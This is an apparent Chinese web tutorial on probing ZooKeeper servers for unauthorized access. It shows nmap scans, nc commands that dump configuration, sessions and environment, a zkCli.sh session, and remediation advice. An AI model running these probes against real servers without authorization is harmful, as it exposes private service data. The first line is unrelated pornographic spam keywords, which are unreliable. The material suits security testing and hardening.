欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Zookeeper未授權(quán)訪問測試問題

 更新時間：2019年10月21日 14:14:13   作者：starnight_cyber  
ZooKeeper是一個分布式的，開放源碼的分布式應(yīng)用程序協(xié)調(diào)服務(wù)，是Google的Chubby一個開源的實現(xiàn)，是Hadoop和Hbase的重要組件。這篇文章主要介紹了Zookeeper未授權(quán)訪問測試,需要的朋友可以參考下

前言

　　ZooKeeper是一個分布式的，開放源碼的分布式應(yīng)用程序協(xié)調(diào)服務(wù)，是Google的Chubby一個開源的實現(xiàn)，是Hadoop和Hbase的重要組件。它是一個為分布式應(yīng)用提供一致性服務(wù)的軟件，提供的功能包括：配置維護、域名服務(wù)、分布式同步、組服務(wù)等。

　　zookeeper 未授權(quán)訪問是指安裝部署之后默認(rèn)情況下不需要任何身份驗證，從而導(dǎo)致 zookeeper 被遠(yuǎn)程利用，導(dǎo)致大量服務(wù)級別的信息泄露。

　　默認(rèn)使用端口：2181、2182。

探測Zookeeper服務(wù)開放

　　如使用nmap探測某個目標(biāo)地址是否運行Zookeeper服務(wù)，探測2181端口開放。

root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (0.016s latency).

PORT   STATE SERVICE
2181/tcp open eforward

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

　　批量探測僅需修改一下對應(yīng)的目標(biāo)地址即可。

獲取信息

conf命令

　　輸出相關(guān)服務(wù)配置的詳細(xì)信息，端口、數(shù)據(jù)路徑、日志路徑、session 超時時間，最大連接數(shù)等。

root@kali:~# echo conf | nc xx.xx.xx.xx 2181
clientPort=2171
dataDir=/opt/data/zookeeper/data/version-2
dataLogDir=/opt/data/zookeeper/data/version-2
tickTime=2000
maxClientCnxns=0
minSessionTimeout=4000
maxSessionTimeout=40000
serverId=0

cons命令

　　列出所有連接到當(dāng)前服務(wù)器的客戶端/會話的詳細(xì)信息。

root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more
/10.23.46.40:11958[1](queued=0,recved=27317,sent=27317,sid=0x1000000e029b16e,lop=PING,est=1571277639586,to=40000,lcxid=0x33,lzxid=0x286a720,lresp=2435779043,llat=0,minlat=0,avglat=0,maxlat=397)
/10.23.46.39:9688[1](queued=0,recved=27316,sent=27316,sid=0x1000000e029b17c,lop=PING,est=1571277641790,to=40000,lcxid=0x33,lzxid=0x286a71c,lresp=2435777895,llat=0,minlat=0,avglat=0,maxlat=560)

dump命令

　　輸出未處理的會話和臨時節(jié)點，leader 節(jié)點有效。

root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more
SessionTracker dump:
Session Sets (21):
0 expire at Thu Jan 29 12:38:08 CST 1970:
0 expire at Thu Jan 29 12:38:10 CST 1970:
3 expire at Thu Jan 29 12:38:12 CST 1970:
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
2 expire at Thu Jan 29 12:38:14 CST 1970:
0x1000000e02a4235
0x1000000e01f00e9
31 expire at Thu Jan 29 12:38:16 CST 1970:
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...

　　非 leader 節(jié)點看不到什么相關(guān)信息。

envi命令

　　輸出服務(wù)器的詳細(xì)信息。

root@kali:~# echo envi | nc xx.xx.xx.xx 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1.7.0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/

連接測試

安裝工具

　　如在kali下，可以用如下命令安裝zookeeper工具，之后即可使用客戶端連接工具zkCli.sh。

# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh

連接目標(biāo)

　　使用-server參數(shù)指定目標(biāo)即可連接。

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]

... 已連接

獲取系統(tǒng)相關(guān)信息

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
WATCHER::
WatchedEvent state:SyncConnected type:None path:null
[zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:2181(CONNECTED) 1] get /
cZxid = 0x0
ctime = Wed Dec 31 19:00:00 EST 1969
mZxid = 0x0
mtime = Wed Dec 31 19:00:00 EST 1969
pZxid = 0x4c0
cversion = 4
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 6
[zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service
cZxid = 0x2
ctime = Thu Aug 30 02:58:40 EDT 2018
mZxid = 0x2
mtime = Thu Aug 30 02:58:40 EDT 2018
pZxid = 0x1cb884d
cversion = 7
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 3
[zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl /
'world,'anyone
: cdrwa

修復(fù)方案

1、設(shè)置防火墻策略限制 IP 訪問【建議采取此種方案】

2、不要將 zookeeper 暴露在外網(wǎng)

3、設(shè)置用戶認(rèn)證和 ACL

參考

　　zookeeper 未授權(quán)訪問

　　　　 http://vic.pub/zookeeper-未授權(quán)訪問/

總結(jié)

以上所述是小編給大家介紹的Zookeeper未授權(quán)訪問測試問題,希望對大家有所幫助，如果大家有任何疑問請給我留言，小編會及時回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持！
如果你覺得本文對你有幫助，歡迎轉(zhuǎn)載，煩請注明出處，謝謝！

相關(guān)文章

  • Zabbix 上Windows性能監(jiān)控的方法

    Zabbix 上Windows性能監(jiān)控的方法

    這篇文章主要介紹了Zabbix 上Windows性能監(jiān)控，本文給大家介紹的非常詳細(xì)，具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-09-09
  • Elasticsearch6.2服務(wù)器升配后的bug(避坑指南)

    Elasticsearch6.2服務(wù)器升配后的bug(避坑指南)

    這篇文章主要介紹了Elasticsearch6.2服務(wù)器升配后的bug問題及解決方法，可以幫助有其他人避坑，本文給大家介紹的非常詳細(xì)，對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值，需要的朋友可以參考下
    2022-09-09
  • Ajenti開源免費的服務(wù)器管理面板和Ajenti V虛擬主機面板及安裝與使用詳細(xì)教程

    Ajenti開源免費的服務(wù)器管理面板和Ajenti V虛擬主機面板及安裝與使用詳細(xì)教程

    Ajenti是國外一個功能非常強大的輕型的Linux服務(wù)器管理面板，采用Python架構(gòu)，修改擴展非常簡單，Ajenti V是Ajenti一個虛擬主機管理面板插件，下面通過本文給大家介紹Ajenti開源免費的服務(wù)器管理面板和Ajenti V虛擬主機面板及安裝與使用詳細(xì)教程，一起看看吧
    2017-07-07
  • web.config（IIS）和.htaccess（Apache）配置

    web.config（IIS）和.htaccess（Apache）配置

    這些是我發(fā)現(xiàn)最有用的片段，/隨時間推移使用最多的片段。 他們處理諸如從查詢字符串，CORS標(biāo)頭重寫URL以及強制HTTPS重定向之類的事情
    2019-11-11
  • imail8.22安裝激活實例[圖文]

    imail8.22安裝激活實例[圖文]

    今天制作此實例的目的是因為前幾天我提供了IMAIL8.22中文模板和算號器,這幾天問我怎么注冊的人還挺多,一句話又講不清,不講吧,又覺得對不起朋友們,所以花了點時間,做了此實例,方便朋友們使用,高手就不用看了
    2011-09-09
  • CentOS 6.6實現(xiàn)永久修改DNS地址的方法

    CentOS 6.6實現(xiàn)永久修改DNS地址的方法

    這篇文章主要介紹了CentOS 6.6實現(xiàn)永久修改DNS地址的方法,涉及針對CentOS配置文件的相關(guān)設(shè)置技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2016-10-10
  • dubbo 管理控制臺安裝和使用詳解

    dubbo 管理控制臺安裝和使用詳解

    這篇文章主要介紹了dubbo 管理控制臺安裝和使用的相關(guān)資料,需要的朋友可以參考下
    2016-09-09
  • 超越Nginx的Web服務(wù)器caddy優(yōu)雅用法

    超越Nginx的Web服務(wù)器caddy優(yōu)雅用法

    這篇文章主要為大家介紹了超越Nginx的Web服務(wù)器caddy優(yōu)雅用法詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪
    2022-06-06
  • 教你如何組裝raid5及raid1磁盤陣列服務(wù)器

    教你如何組裝raid5及raid1磁盤陣列服務(wù)器

    最近又親手給一個朋友組裝了一臺采用雙核心P4 820D處理器的8硬盤的1U機架式存儲型服務(wù)器，在組裝過程中，分別組建了硬件Raid5和軟件Raid5的磁盤陣列，過程很值得玩味，現(xiàn)在寫出詳細(xì)的設(shè)置過程，以期拋磚引玉
    2023-04-04
  • GitHub?Actions的概念、常見用例和示例

    GitHub?Actions的概念、常見用例和示例

    GitHub中的GitHub?Actions是一個持續(xù)集成和持續(xù)交付的平臺,它可以幫助你通過自動化的構(gòu)建（包括編譯、發(fā)布、自動化測試）來驗證你的代碼,無論是自動構(gòu)建和測試代碼,還是自動部署應(yīng)用程序,GitHub?Actions?都可以幫助開發(fā)團隊提高效率,降低錯誤率
    2024-05-05

最新評論